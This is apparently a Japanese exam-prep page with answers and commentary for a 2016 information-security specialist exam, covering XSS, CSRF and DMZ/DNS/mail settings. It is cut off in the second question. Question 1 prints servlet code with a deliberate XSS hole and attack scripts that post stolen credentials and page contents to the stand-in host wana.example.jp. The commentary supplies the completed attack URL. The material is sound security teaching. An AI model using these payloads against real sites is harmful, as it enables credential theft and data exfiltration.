‹ ぱすてく

情報処理安全確保支援士試験

平成28年度 春期 午後Ⅰ(旧試験)

平成28年度 春期に実施された情報処理安全確保支援士試験 午後Ⅰの全3問(記述式)の全設問に,運営者が独自に書いた解説を付けています。事例本文のどこが根拠になるかを示し,IPA の解答例・採点講評と並べています。

この試験について:情報処理安全確保支援士試験について

この年度を解いてみる

問1 Web システムの開発

Web システムの開発に関する次の記述を読んで,設問1~3に答えよ。

L 社は,ソフトウェア受託開発企業である。このたび L 社は,食品製造会社 M 社から,M 社製品の宣伝目的で行う懸賞への応募受付を主要機能とする Web システム(以下,懸賞システムという)の開発を受託した。懸賞システムの開発プロジェクトのリーダには,L 社開発部の J 主任が任命された。

〔画面と遷移〕

L 社では,懸賞システムの画面と遷移について,図1の案を作成した。

画面遷移図。画面1-1(懸賞システムトップページ)には“キャンペーンの検索”ボタンと“懸賞メンバのログイン”ボタンがある。“キャンペーンの検索”から(あ)で画面2-1(キャンペーン検索。キーワードのテキスト入力フィールドと検索ボタン)へ,検索ボタンから(い)で画面2-2(検索結果。OKボタン)へ,OKボタンから(う)で画面1-1へ戻る。“懸賞メンバのログイン”から(え)で画面3-1(ログイン。メンバIDのテキスト入力フィールド,パスワードのパスワード入力フィールド,ログインボタン)へ,ログインボタンから(お)で画面3-2(ログイン完了。OKボタン)へ,OKボタンから(か)で画面3-3(マイページ)へ遷移する。画面3-3(マイページ)にはキャンペーン名のプルダウンメニュー,応募ボタン,登録情報修正ボタンがある。応募ボタンから(き)で画面3-4(必要事項入力。応募必要事項のテキスト入力フィールドと応募ボタン)へ,応募ボタンから(く)で画面3-5(必要事項確認。応募必要事項の hidden フィールドと OKボタン)へ,OKボタンから(け)で画面3-6(応募完了。OKボタン)へ,OKボタンから(こ)で画面3-3へ戻る。登録情報修正ボタンから(さ)で画面3-7(メンバ登録情報の修正。住所,氏名,電話番号,メールアドレスのテキスト入力フィールドと修正ボタン)へ,修正ボタンから(し)で画面3-8(メンバ登録情報の確認。住所,氏名,電話番号,メールアドレスの hidden フィールドと OKボタン)へ,OKボタンから(す)で画面3-9(修正完了。OKボタン)へ,OKボタンから(せ)で画面3-3へ戻る。凡例:矢印は画面遷移,角丸はボタン,長方形はテキスト入力フィールド,平行四辺形はパスワード入力フィールド,右端に▽の付いた枠はプルダウンメニュー,破線の枠は hidden フィールド。注記1 エラー時,戻る,ログアウト,懸賞メンバの初期登録,その他の画面遷移については省略している。注記2 ログインしていない状態で画面3-3~画面3-9の URL を指定した場合は,画面1-1へリダイレクトされる。
図1 懸賞システムの画面と遷移(抜粋)

図1中の画面の URL のホスト部は,全て kensho.m-sha.co.jp であり,パス部は画面ごとに異なっている。ここで,m-sha.co.jp は M 社のドメイン名である。

図1中の矢印で示す画面遷移時に受け渡すパラメタを表1に示す。ただし,セッション維持に関するパラメタは省略している。

列は“画面遷移(図1中の記号)”と“画面遷移時に受け渡すパラメタ”。(あ),(う),(え),(か),(こ),(さ),(せ):なし。(い):キーワード。(お):メンバID,パスワード。(き):選択したキャンペーン名。(く),(け):応募必要事項。(し),(す):住所,氏名,電話番号,メールアドレス。
表1 画面遷移時に受け渡すパラメタ

〔脆弱性の発見〕

L 社では,画面遷移について M 社の承認を得た後,順調に開発を進め,総合試験に進んだ。総合試験の一部である脆弱性検査については,セキュリティ専門業者の F 社に依頼した。検査後,F 社から L 社に対して図2の報告があった。

枠内の文章。(1) 画面2-1から画面2-2への遷移において,クロスサイトスクリプティング(以下,XSS という)脆弱性を発見した。当該箇所の画面遷移例は図3のとおりである。(2) 画面2-2を表示するための図4のソースコードにおいて,10行目に問題がある。URL パラメタである keyword に対して適切な処理をすべきである。(3) 一部の画面において,クロスサイトリクエストフォージェリ(以下,CSRF という)脆弱性を発見した。(以下,省略)
図2 脆弱性検査の結果報告
左に画面2-1(キャンペーン検索)。“キーワードが含まれるキャンペーンを検索します。”の文の下に,キーワードの入力欄(“チョコ”と入力されている)と検索ボタンがある。矢印で右の画面2-2(検索結果)へ遷移する。画面2-2には“[チョコ]を検索した結果です。”の文の下に,1 ミルクチョコレートキャンペーン,2 ホワイトチョコレートキャンペーン,3 ブラックチョコレートキャンペーン が並び,OKボタンがある。
図3 XSS 脆弱性が発見された箇所の画面遷移例
枠内の Java ソースコード(14行)。1: (省略) // import 文など 2: public class Gamen2_2 extends HttpServlet { 3: (省略) // その他のメソッドの定義など 4: public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException { 5: PrintWriter out = res.getWriter(); 6: String kw = req.getParameter("keyword"); // キーワード欄の入力値を取得 7: (省略) // out に HTML の HEAD 部を出力 8: out.println("<BODY>"); 9: out.println("<H1>検索結果</H1>"); 10: out.print("[" + kw + "]を検索した結果です。<br>"); 11: (省略) // out に検索結果以下の HTML を出力 12: } 13: (省略) // その他のメソッドの定義など 14: }
図4 XSS 脆弱性の原因となった部分を含むソースコード

〔XSS 脆弱性の説明と修正〕

次は,脆弱性検査の報告会での,J 主任と F 社の検査員 N さんとの質疑応答である。

“ログイン”の見出しの下に“M社懸賞ページへようこそ。ログインしてください。”の文,メンバIDの入力欄,パスワードの入力欄,ログインボタンがある画面。
図5 改変された画面2-2’
枠内のスクリプト(7行)。1: document.body.innerHTML=""; // HTML body 部を全部消去する 2: document.write('<H1>ログイン</H1>'); 3: document.write('M社懸賞ページへようこそ。ログインしてください。<br>'); 4: document.write('<form name="loginForm" action="https://wana.example.jp/login" method="post">'); 5: document.write('メンバID <input type="text" name="id"><br>'); 6: document.write('パスワード <input type="password" name="password">'); 7: document.write('<input type="submit" name="send" value="ログイン"></form>');
図6 https://wana.example.jp/Login.js のスクリプト(抜粋)
枠内の HTML ソースコード(6行)。1: <html><head></head> 2: <frameset rows="1,1"> 3: <frame src="https://kensho.m-sha.co.jp/Gamen3_7" frameborder=0> 4: <frame src="[ c ]?[ d ]=<script src=%22https://wana.example.jp/getFrame.js%22></script>" frameborder=0> 5: </frameset> 6: </html> 注記 https://kensho.m-sha.co.jp/Gamen3_7 は,図1の画面3-7を表示する際の URL である。
図7 攻撃用 HTML ソースコード例

L 社は,XSS 脆弱性が存在するソースコードを修正した。

〔CSRF 対策の説明と懸賞システムの修正〕

N さんが引き続き CSRF 対策について説明した内容を,図8に示す。

枠内の文章。(1) 使用している Web アプリケーションフレームワーク(以下,フレームワークという)に CSRF 対策機能が含まれている場合は,その機能を利用する。(2) フレームワークに CSRF 対策機能がない場合は,次のルールに従った実装をして,CSRF 対策とする。・POST メソッドによるアクセスだけを用いる。・前画面で,HTML フォーム内に [ e ] を [ f ] フィールドの値として埋め込む。・画面遷移時に受信したデータが,埋め込んだ [ e ] と一致するかを確認する。
図8 CSRF 対策に関する説明

N さんの説明を受けて,L 社では懸賞システムについて,CSRF 対策を行う画面遷移と行わない画面遷移を,表2のように決定した。

列は“対策の有無”と“画面遷移(図1中の記号)”。対策を行う:(お),(き),(け),[ g ]。対策を行わない:(あ),(う),(え),(か),(こ),[ h ]。
表2 CSRF 対策を行う画面遷移と行わない画面遷移

〔再発防止策の検討〕

M 社では,無事,懸賞システムの運用を開始したものの,J 主任は,脆弱性が作り込まれないよう再発防止策が必要であると考えた。図9は懸賞システムの開発開始時点の,L 社の Web アプリケーション開発ガイドライン(以下,ガイドラインという)である。

枠内の文章。・利用者入力値の取扱い (1) 利用者が入力する値は,期待する入力値として正当かどうか検査すること (2) 検査の結果,正当だと判定した場合だけ,その入力値を信頼できるデータとして出力データの生成に使用すること ・出力データの生成 (1) 信頼できるデータだけを使用して,出力データを生成すること
図9 懸賞システムの開発開始時点の L 社のガイドライン(抜粋)

今回,XSS 脆弱性の原因となった図4のソースコードを作成した T 君に事情を聞いたところ,“②画面 2-1 において Web ブラウザ側のスクリプトで入力値を検査していたので,URL パラメタである keyword の値を信頼できるデータと判断して,出力データの生成にそのまま使用した”と答えた。

J 主任は,信頼できるデータの定義を厳密に定めようと,N さんに相談した。この時の N さんの回答を,図10に示す。

枠内の文章。(1) 入力値の取扱いについて (ア) 入力値が正当かどうかを [ i ] で稼働するプログラムで確認する必要がある。(2) 出力データの生成における信頼できるデータについて (ア) <>&"' を含まない文字列であっても,HTML 内の出力される箇所によっては,XSS 脆弱性の原因となる場合があるので,信頼できるデータとはいえない。例えば,[ j ] を出力する箇所では,XSS 脆弱性を防ぐために“javascript:”などの文字列を排除する必要がある。(イ) 信頼できるデータを厳密に定義することはできないので,ガイドラインの内容を抜本的に修正する必要がある。
図10 N さんの回答(抜粋)

J 主任は,他の脆弱性に関する調査も進め,ガイドラインを修正した。このガイドラインによって,その後 L 社では,セキュリティについての品質が向上した。

出題趣旨(IPA)

JVNを見ると,XSS(クロスサイトスクリプティング)脆弱性が後を絶たない。その上,XSS脆弱性について,利用者が入力したスクリプトが動くだけだから,又は単にダイアログボックスが表示される程度の問題だから,悪用のおそれは低いとの誤解も多く見られる。本問では,懸賞システムの開発を題材に,XSS脆弱性が引き起こす被害の重大性への理解について問うとともに,XSS脆弱性を作り込まないための対策を立案する能力を問う。さらに,CSRF(クロスサイトリクエストフォージェリ)脆弱性への対策を立案する能力を問う。

採点講評(問全体・IPA)

問1では,懸賞システムの開発を題材に,XSS(クロスサイトスクリプティング)脆弱性及びCSRF(クロスサイトリクエストフォージェリ)脆弱性に関する知識と対策方法について出題した。全体として正答率は低かった。

設問と解答例

設問1(1) 解答欄1つ

本文中の a に入れる適切な字句を,FQDN で答えよ。

〔a〕解答例

  • wana.example.jp
解説

本文の根拠

N さんの発言(a)

被害者が画面2-2’でメンバ ID とパスワードを入力すると,それらは a というホスト名の Web サーバに送信されます。

図6 4行目

document.write('<form name="loginForm" action="https://wana.example.jp/login" method="post">');

画面2-2’の偽のログインフォームは,図6 のスクリプトが document.write で書き出したものである。4行目の form 要素の action 属性が“https://wana.example.jp/login”なので,ログインボタンを押すと,入力したメンバ ID とパスワードは POST メソッドでこの URL に送られる。送信先の Web サーバのホスト名(FQDN)は wana.example.jp である。

スクリプトの置き場所(https://wana.example.jp/Login.js)とフォームの送信先が,同じ wana.example.jp にある点に注意する。入力値の行き先を決めるのは form 要素の action 属性で,画面が表示されている kensho.m-sha.co.jp ではない。

字数制限は無く,FQDN で答える。解答例は“wana.example.jp”(15 字)。“https://”や“/login”を付けると URL になってしまうので,ホスト名だけを書く。

設問1(2)

画面2-2’を表示した時点で,Web ブラウザのアドレスバーに表示される URL のホスト部を,FQDN で答えよ。

解答例

  • kensho.m-sha.co.jp
解説

本文の根拠

N さんの発言

URL パラメタである keyword に攻撃用の文字列として <script src="https://wana.example.jp/Login.js"></script> を組み込んだ https://kensho.m-sha.co.jp/Gamen2_2 へのリンクを含む電子メールを作成し,被害者に送付します。

〔画面と遷移〕

図1中の画面の URL のホスト部は,全て kensho.m-sha.co.jp であり,パス部は画面ごとに異なっている。

図6 1行目

document.body.innerHTML=""; // HTML body 部を全部消去する

被害者がクリックするのは https://kensho.m-sha.co.jp/Gamen2_2 へのリンクである。Web ブラウザはこの URL のページ(画面2-2)を表示し,その中に埋め込まれた script 要素が wana.example.jp の Login.js を読み込んで実行する。Login.js は body 部を消して偽のログインフォームを書き出すだけで,ページの遷移は起こさない。したがって,アドレスバーの URL のホスト部は kensho.m-sha.co.jp のままである。

これが,N さんの“被害者が偽のログインフォームだと気付くかというと,それは難しい”という発言の理由でもある。アドレスバーには正規の懸賞システムのホストが出ており,HTTPS の通信相手も正規のサーバなので,見た目では偽物と見分けにくい。

字数制限は無く,FQDN で答える。解答例は“kensho.m-sha.co.jp”(18 字)。設問1(1)の wana.example.jp(入力値の送信先)と取り違えないこと。

設問1(3) 解答欄1つ

本文中の b に入れる適切な字句を解答群の中から選び,記号で答えよ。解答群 ア Asynchronous JavaScript + XML イ HTTP Strict Transport Security ウ JavaScript Object Notation エ Same Origin Policy

〔b〕解答例

  • エ
解説

本文の根拠

N さんの発言(b)

仮に,懸賞システムのコンテンツと,攻撃者が用意した Web サーバ上に置いてある攻撃者のコンテンツの両方を,フレームを使用して,Web ブラウザ上で同一画面に表示したとしても,攻撃者のコンテンツ内のスクリプトで,懸賞システムのコンテンツを参照することはできません。

あるオリジンから読み込んだコンテンツのスクリプトが,別のオリジンのコンテンツを参照できないようにする Web ブラウザの仕組みは,Same Origin Policy(同一オリジンポリシ,エ)である。オリジンはスキーム・ホスト・ポートの組で,二つの URI はこの三つが同じときに同一オリジンとされる(RFC 6454)。懸賞システム(kensho.m-sha.co.jp)と攻撃者のサーバ(wana.example.jp)はホストが違うので,フレームで同じ画面に並べても,攻撃者のスクリプトから懸賞システムのフレームの中身は読めない。

本文は続けて,図7 では b が役立たないとしている。これは設問1(4)のとおり,攻撃者のスクリプトを XSS 脆弱性によって懸賞システムのページの中で動かすので,スクリプトが懸賞システムと同じオリジンで実行されるからである。

誤りの選択肢との違い。Asynchronous JavaScript + XML(Ajax)はページを再読込みせずにサーバと非同期に通信する技法,HTTP Strict Transport Security は Web サイトへの接続を HTTPS に限るよう Web ブラウザに指示する仕組み(RFC 6797),JavaScript Object Notation(JSON)はデータの記述形式で,どれもコンテンツの参照を制限する仕組みではない。

設問1(4) 解答欄2つ

図7中の c,d に入れる適切な字句を答えよ。

〔c〕解答例

  • https://kensho.m-sha.co.jp/Gamen2_2

〔d〕解答例

  • keyword
解説

本文の根拠

図7 4行目

<frame src="c?d=<script src=%22https://wana.example.jp/getFrame.js%22></script>" frameborder=0>

図2 (2)

画面2-2を表示するための図4のソースコードにおいて,10行目に問題がある。URL パラメタである keyword に対して適切な処理をすべきである。

図4 6行目

String kw = req.getParameter("keyword"); // キーワード欄の入力値を取得

N さんの発言(b)

攻撃者が用意した https://wana.example.jp/getFrame.js というスクリプトで,3行目のフレームの内容を参照することができるので

図7 の4行目のフレームは,XSS 脆弱性のある画面2-2 を,script 要素を入れた URL パラメタ付きで読み込ませるものである。画面2-2 の URL は N さんの最初の攻撃例にある https://kensho.m-sha.co.jp/Gamen2_2(c)で,パラメタ名は図4 の 6行目が取り出している keyword(d)である。“?”の後ろが“パラメタ名=値”の形になっている。

こうすると,画面2-2 は 10行目で keyword の値をそのまま HTML に出力するので,getFrame.js が kensho.m-sha.co.jp のページの中で実行される。3行目のフレーム(画面3-7)も kensho.m-sha.co.jp のページなので,二つのフレームは同一オリジンになり,設問1(3)の Same Origin Policy では getFrame.js が画面3-7 の内容を参照するのを防げない。なお“%22”は二重引用符(")を URL エンコードした表記である。講評は,反射型 XSS 脆弱性の典型的な攻撃パターンを理解していれば正答できる問題としている。

字数制限は無い。解答例は c が“https://kensho.m-sha.co.jp/Gamen2_2”(35 字),d が“keyword”(7 字)。c に画面3-7 の URL(Gamen3_7)を書く誤りに注意する。XSS 脆弱性があるのは画面2-2 で,画面3-7 は窃取される側である。

採点講評(IPA)

設問1(4)は,正答率が低かった。図7の攻撃用HTMLではフレームを使用しているものの,反射型XSS脆弱性の典型的な攻撃パターンについて理解していれば正答できる問題であった。基本的なXSS脆弱性の原理についてよく理解しておいてほしい。

設問1(5) 20字以内

本文中の下線①の窃取が成功するのは,懸賞システムにおいて,被害者がどのような状態にあるときか。20 字以内で述べよ。

解答例

  • 懸賞メンバとしてログインしている状態
解説

本文の根拠

N さんの発言(下線①)

①画面 3-7 の表示内容が窃取される可能性があります

図1 注記2

ログインしていない状態で画面3-3~画面3-9の URL を指定した場合は,画面1-1へリダイレクトされる。

図1

(さ)で画面3-7(メンバ登録情報の修正。住所,氏名,電話番号,メールアドレスのテキスト入力フィールドと修正ボタン)へ

画面3-7 はメンバ登録情報の修正画面で,ログインした懸賞メンバの住所・氏名・電話番号・メールアドレスが表示される。図1 の注記2 によると,ログインしていない状態で画面3-3~画面3-9 の URL を指定すると画面1-1 へリダイレクトされる。したがって,図7 の 3行目のフレームに画面3-7 が表示され,その内容が窃取されるのは,被害者が懸賞メンバとしてログインしている状態にあるときである。

フレームによる読込みでも Web ブラウザは被害者のセッション維持の情報を送るので,被害者がログイン中なら,被害者本人の登録情報が載った画面3-7 が返る。ログインしていなければ画面1-1 が表示されるだけで,窃取するものが無い。

字数は 20 字以内で,解答例は“懸賞メンバとしてログインしている状態”(18 字)。“懸賞メンバとして”を入れて,懸賞システムにログインしていることを明確にする。単に“メールを開いた状態”のように攻撃の手順を書いても,問われている懸賞システムでの状態にはならない。

設問2(1) 10字以内 解答欄2つ

図8中の e,f に入れる適切な字句を,それぞれ 10 字以内で答えよ。

〔e〕解答例

  • ランダムな値

〔f〕解答例

  • hidden
解説

本文の根拠

図8 (2)

前画面で,HTML フォーム内に e を f フィールドの値として埋め込む。

図8 (2)

画面遷移時に受信したデータが,埋め込んだ e と一致するかを確認する。

図1 凡例

破線の枠は hidden フィールド

CSRF は,攻撃者が用意した罠のページから,ログイン中の利用者の Web ブラウザに正規の画面遷移のリクエストを送らせる攻撃である。対策の定番は,前画面のフォームに攻撃者が推測できない値(トークン)を埋め込み,画面遷移時に受け取った値と照合することである。推測できないようにするため,e は“ランダムな値”になる。

埋め込む先は,画面には出ないがフォームの送信時に一緒に送られる hidden フィールド(f)である。図1 の凡例にも hidden フィールドがあり,画面3-5・3-8 で使われている。罠のページはこのランダムな値を知り得ないので,正しい値を付けたリクエストを作れず,照合で弾かれる。IPA の“安全なウェブサイトの作り方”も,hidden パラメタに秘密情報を埋め込んで照合する方法を CSRF の根本的解決の一つに挙げている。

字数はそれぞれ 10 字以内で,解答例は e が“ランダムな値”(6 字),f が“hidden”(6 字)。e は,攻撃者が知り得る固定の値では対策にならない。“予測困難な値”のように,第三者に推測できないことが伝わる書き方にする(IPA の同資料も,秘密情報は第三者に予測困難なように生成する必要があるとしている)。

設問2(2)

表2中の g,h に入れる記号の適切な組合せを,解答群の中から選び,記号で答えよ。解答群 ア g:(い),(く),(さ) h:(し),(す),(せ) イ g:(い),(く),(し) h:(さ),(す),(せ) ウ g:(く),(し),(す) h:(い),(さ),(せ) エ g:(さ),(し),(せ) h:(い),(く),(す)

解答例

  • ウ
解説

本文の根拠

表1

(い):キーワード。

表1

(あ),(う),(え),(か),(こ),(さ),(せ):なし。

表1

(く),(け):応募必要事項。(し),(す):住所,氏名,電話番号,メールアドレス。

表2

対策を行う:(お),(き),(け),g。対策を行わない:(あ),(う),(え),(か),(こ),h。

表2 にまだ入っていない画面遷移は,(い),(く),(さ),(し),(す),(せ)の六つである。CSRF 対策が要るのは,ログインした懸賞メンバとしてパラメタを送り,応募や登録情報の修正のような処理をさせる遷移である。応募必要事項を送る(く)と,住所・氏名・電話番号・メールアドレスを送る(し)(す)がこれに当たるので,g は(く),(し),(す)。残る(い),(さ),(せ)が h で,組合せはウである。

(い)はキーワードを送るだけの検索で,ログインも要らず,第三者に勝手に検索させられても被害は無い。(さ)(せ)は表1 で受け渡すパラメタが“なし”の遷移で,画面を表示するだけである。表2 の“対策を行う”側にすでに(け)(応募必要事項)が入っていることも,パラメタを送って処理をさせる遷移を対策の対象にしている手掛かりになる。

解答群の選択の設問で,字数制限は無い。ア・イは(い)を対策の側に入れており,エは(さ)(せ)を対策の側に入れているので誤り。パラメタの有無とログインの要否を表1・図1 で確かめて絞る。

設問3(1) 40字以内

本文中の下線②の検査では,攻撃を防御する上で効果を発揮しない理由を,40 字以内で具体的に述べよ。

解答例

  • 攻撃者は,画面2-1を経由させずに直接画面2-2へアクセスさせるから
解説

本文の根拠

〔再発防止策の検討〕(下線②)

②画面 2-1 において Web ブラウザ側のスクリプトで入力値を検査していたので,URL パラメタである keyword の値を信頼できるデータと判断して

N さんの発言

https://kensho.m-sha.co.jp/Gamen2_2 へのリンクを含む電子メールを作成し,被害者に送付します。

下線②の検査は,画面2-1 の中で Web ブラウザ側のスクリプトが行う。ところが N さんの攻撃例では,攻撃者は keyword を組み込んだ https://kensho.m-sha.co.jp/Gamen2_2 へのリンクを被害者に送り,画面2-2 を直接表示させる。被害者は画面2-1 を通らないので,そこにある検査のスクリプトは一度も動かない。これが効果を発揮しない理由である。

図7 の攻撃も,フレームで Gamen2_2 を直接読み込ませており,画面2-1 は経由しない。サーバ側の Gamen2_2(図4)は,画面2-1 から来たリクエストかどうかに関係なく keyword を出力するので,検査はサーバ側のプログラムで行う必要がある(設問3(2))。講評は,攻撃者の視点からページ遷移に基づく解答を期待したが,Web ブラウザの設定によるスクリプトの無効化に関する解答が多かったとしている。

字数は 40 字以内で,解答例は“攻撃者は,画面2-1を経由させずに直接画面2-2へアクセスさせるから”(34 字)。“利用者がスクリプトを無効にできる”のような一般論ではなく,本問の攻撃が画面2-1 を経由しないという点を,画面の番号を使って具体的に書く。

採点講評(IPA)

設問3(1)は,正答率が低かった。攻撃者の視点から,ページ遷移に基づく解答を期待したが,Webブラウザの設定によるスクリプトの無効化に関する解答をした受験者が多かった。

設問3(2) 10字以内 解答欄1つ

図10中の i に入れる適切な字句を,10 字以内で答えよ。

〔i〕解答例

  • サーバサイド
解説

本文の根拠

図10 (1)

(ア) 入力値が正当かどうかを i で稼働するプログラムで確認する必要がある。

〔再発防止策の検討〕

画面 2-1 において Web ブラウザ側のスクリプトで入力値を検査していた

設問3(1)のとおり,Web ブラウザ側(クライアント側)の検査は,攻撃者が画面を経由させなかったり,スクリプトを動かさなかったりすれば,すり抜けられる。入力値を確実に検査できるのは,リクエストを必ず受け取るサーバ側だけなので,i は“サーバサイド”である。

T 君は“Web ブラウザ側のスクリプトで入力値を検査していた”ことを理由に keyword を信頼したが,攻撃者は Web ブラウザ側の処理を自由に変えられる。図10 (1)(ア)はその反省として,検査の場所をサーバで稼働するプログラムに限ったものである。

字数は 10 字以内で,解答例は“サーバサイド”(6 字)。“クライアント”“Web ブラウザ”は本文の反対で誤りである。

設問3(3) 5字以内 解答欄1つ

図10中の j に入れる適切な字句を,5 字以内で答えよ。

〔j〕解答例

  • URL
解説

本文の根拠

図10 (2)

<>&"' を含まない文字列であっても,HTML 内の出力される箇所によっては,XSS 脆弱性の原因となる場合があるので,信頼できるデータとはいえない。

図10 (2)

例えば,j を出力する箇所では,XSS 脆弱性を防ぐために“javascript:”などの文字列を排除する必要がある。

“javascript:”は URL のスキームとして書ける文字列で,a 要素の href 属性などに“javascript:…”の URL を出力すると,リンクをクリックしたときにスクリプトが実行される。この文字列は < > & " ' を含まないので,それらをエスケープしても防げない。したがって j は“URL”で,URL を出力する箇所では“http://”や“https://”で始まるものだけを許すなどの対処が要る。

図10 (2)(ア)は,“<>&"' を含まない文字列であっても”XSS 脆弱性の原因になる例として挙げられている。HTML の特殊文字のエスケープだけでは足りず,出力する箇所に応じた対処が必要だということを示している。IPA の“安全なウェブサイトの作り方”も,ウェブページに出力する URL は“http://”や“https://”で始まるものだけを許可することを XSS の対策に挙げている。

字数は 5 字以内で,解答例は“URL”(3 字)。問われているのは出力する箇所(何を出力する所か)なので,“スクリプト”のように出力される中身の側を書かないこと。

出典:平成28年度 春期 情報処理安全確保支援士試験 午後Ⅰ 問1(表記を一部改変)

問2 DMZ 上の機器の情報セキュリティ対策

DMZ 上の機器の情報セキュリティ対策に関する次の記述を読んで,設問1~4に答えよ。

U 社は,従業員数 1,500 名の機械部品製造会社である。横浜に本社及び工場があり,国内 10 か所に営業所がある。U 社では,本社に DMZ を設置し,電子メール(以下,メールという)の送受信,Web の閲覧及び Web サーバによる情報公開に利用している。ドメイン名は,u-sha.co.jp(以下,U 社ドメインという)である。U 社ドメインの管理には,B 社 DNS サービスを利用している。

U 社では,コピー機能,プリント機能,イメージスキャン機能及びイメージ送信機能が一体になった複合機を導入している。

U 社で使用しているメールアドレスを表1に示す。

列は“種別”“メールアドレス”“概要”。従業員用メールアドレス:user@u-sha.co.jp(user は斜体),従業員が使用するメールアドレスである。user は,従業員ごとに異なる。特定目的用メールアドレスのうち,メール管理者用メールアドレス:postmaster@u-sha.co.jp,メールシステム管理者用メールアドレスである。複合機用メールアドレス:scanner@u-sha.co.jp,全ての複合機に共通のメールアドレスである。送信専用である。
表1 U 社で使用しているメールアドレス

〔U 社情報システムの構成〕

U 社情報システムのネットワーク構成を図1に,機器の機能概要を表2に示す。

ネットワーク構成図。インターネットと B 社バックボーンがつながり,B 社バックボーンに B 社 DNS サービスがつながる。U 社(破線の枠)の本社の中で,B 社バックボーンに FW が接続している。FW には DMZ の L2SW と L3SW が接続している。DMZ の L2SW には,プロキシサーバ,外部メールサーバ,Web サーバが接続している。L3SW には,本社 LAN の L2SW とサーバ LAN の L2SW が接続している。本社 LAN の L2SW には複合機(複数台)が接続している。サーバ LAN の L2SW には,内部メールサーバと業務サーバ(複数台)が接続している。凡例 FW:ファイアウォール,L2SW:レイヤ2スイッチ,L3SW:レイヤ3スイッチ。注記1 工場及び営業所については,記載を省略している。注記2 本社 LAN に PC が接続されているが,記載を省略している。
図1 U 社情報システムのネットワーク構成
列は“機器名”と“機能概要”。プロキシサーバ:・DNS キャッシュ機能及びオープンリゾルバ防止機能 ・プロキシ機能及びオープンプロキシ防止機能 ・URL フィルタリング機能 ベンダが提供するベンダブラックリスト,及びサーバ管理者が登録できる管理者ブラックリストがある。外部メールサーバ:・インターネットと内部メールサーバとの間のメール転送機能 ・インターネットから転送されるメールに対するフィルタリング機能 フィルタリングは次の(1)~(6)の順に行われる。(1) 迷惑メールの送信に悪用される [ a ] を防止するために,エンベロープの宛先メールアドレスのドメイン名が U 社ドメイン以外のメールを拒否 (2) 迷惑メール対策として,[ b ] 認証技術の一つである SPF(Sender Policy Framework)によって Fail と判定されたメールを拒否 (3) エンベロープの送信者メールアドレスとブラックリスト1の照合結果によって,メールを拒否 (4) エンベロープの宛先メールアドレスとブラックリスト2の照合結果によって,メールを拒否 (5) メールヘッダの送信者メールアドレスとブラックリスト3の照合結果によって,メールを拒否 (6) メールヘッダの宛先及び同報先メールアドレスとブラックリスト4の照合結果によって,メールを拒否 なお,ブラックリスト1~ブラックリスト4には,拒否したいメールアドレス,又は拒否したいメールアドレスのドメイン名を登録する。照合は,完全一致によって行われる。
表2 機器の機能概要(抜粋)
列は“機器名”と“機能概要”。複合機:・コピー機能,プリント機能及びイメージスキャン機能 ・イメージ送信機能 送信者メールアドレスとして複合機用メールアドレスを用い,スキャンしたイメージを添付したメールを,イメージを作成した本人又は同じ部署の従業員のメールアドレスに送信する。
表2 機器の機能概要(抜粋)(続き)

B 社の DNS サービスに登録されている U 社ドメインの設定を図2に示す。

枠内に1行の設定:u-sha.co.jp. IN TXT "v=spf1 +ip4:x1.y1.z1.235 -all" 注記 x1.y1.z1.235 は,外部メールサーバの IP アドレスである。
図2 U 社ドメインの設定(抜粋)

〔情報セキュリティ対策の強化〕

最近,U 社と同業の C 社において,DMZ 上の機器への不正侵入による情報漏えい事件が発生したとの報道があった。事件を知った U 社の経営幹部は,U 社でも同様の問題が起こるおそれがあるかどうかについて,早急に調査するように,情報システム部長に指示した。調査は,情報システム部の K さんが担当し,セキュリティ専門業者 Y 社の W 氏から支援を受けることになった。

〔DMZ 上の機器の設定の点検〕

K さんは,DMZ 上の機器の設定を点検することにした。まず,外部メールサーバ,Web サーバ及び DMZ 上の L2SW を点検することとし,W 氏に相談した。W 氏は,図3のようにインターネットで行われている攻撃の例を説明し,まず,プロキシサーバについて設定を点検すべきであると指摘した。

枠内の箇条書き。・DNS キャッシュポイズニング攻撃 ・オープンリゾルバ防止機能が適切に設定されていない場合に起きる DNS [ c ] 攻撃
図3 インターネットで行われている攻撃の例

W 氏は K さんに,プロキシサーバの設定の点検方法を説明した。

〔プロキシサーバの設定の点検〕

K さんは,プロキシサーバの DNS キャッシュ機能について,名前解決問合せパケットの d のランダム化設定の有無を調べ,適切に設定されていることを確認した。K さんは,その設定が行われていない場合,どのようなことが起きるのかを W 氏に質問した。W 氏は,DNS 名前解決通信では UDP が使われており,UDP ヘッダの d のランダム化が設定されていないと,図4に示すような DNS キャッシュ機能への攻撃が成功する可能性が高まると答えた。

枠内の文章。(1) 攻撃者が,メールサーバを用意する。(2) 攻撃者が,取引先ドメイン名の MX レコードを用意する。(3) 攻撃者が,プロキシサーバに対して DNS キャッシュポイズニング攻撃を行い,用意した MX レコードを DNS キャッシュに保存させる。
図4 DNS キャッシュ機能への攻撃

W 氏は,図4の攻撃の結果,e が,DNS キャッシュに保存させられた MX レコードを参照するので,①メール配送に影響が生じることを説明した。K さんは,W 氏の説明を理解した。

次に,K さんは,URL として,https://www.example.ne.jp/user035/index.html をフィルタリングしようと設定してみたが,パス名を含めた URL 全体を設定できず,ホスト単位のフィルタリングだけが設定できる仕様となっていたことを説明し,その理由を W 氏に質問した。W 氏の回答は,次のとおりであった。

W 氏の説明を受け,K さんは,②HTTP over TLS 通信では URL フィルタリングがホスト単位となることを理解した。

K さんは,プロキシサーバが DNS c 攻撃に悪用されないようにする対策を含めて,他の設定を点検し,他に問題がないことを確認した。

〔外部メールサーバの設定の点検〕

K さんは,外部メールサーバの設定を点検した。W 氏は,複合機用メールアドレスを詐称したメールがインターネットから送信されて,マルウェア感染が起きるおそれがあることを指摘した。指摘を踏まえ,K さんは,③外部メールサーバの設定を変更した。さらに,念のため,複合機用メールアドレスを詐称するメールについての注意喚起情報を社内に周知した。

K さんは,引き続き外部メールサーバの設定を点検し,他に問題がないことを確認した。

最後に,K さんは,Web サーバ及び DMZ の L2SW の設定を点検し,問題がないことを確認した。

出題趣旨(IPA)

DMZ上の機器に対する攻撃は継続的に行われており,不適切な設定によって,攻撃者に悪用される事例が報告されている。攻撃者に悪用されたことに気づかないでいると,自らのサイトの被害だけにとどまらず,他のサイトへの攻撃に加担させられ,加害者となることもある。本問では,DMZ上の機器のセキュリティ設定の点検を題材に,システム管理者が必要とするネットワークセキュリティに関する設計及び運用能力を問う。

採点講評(問全体・IPA)

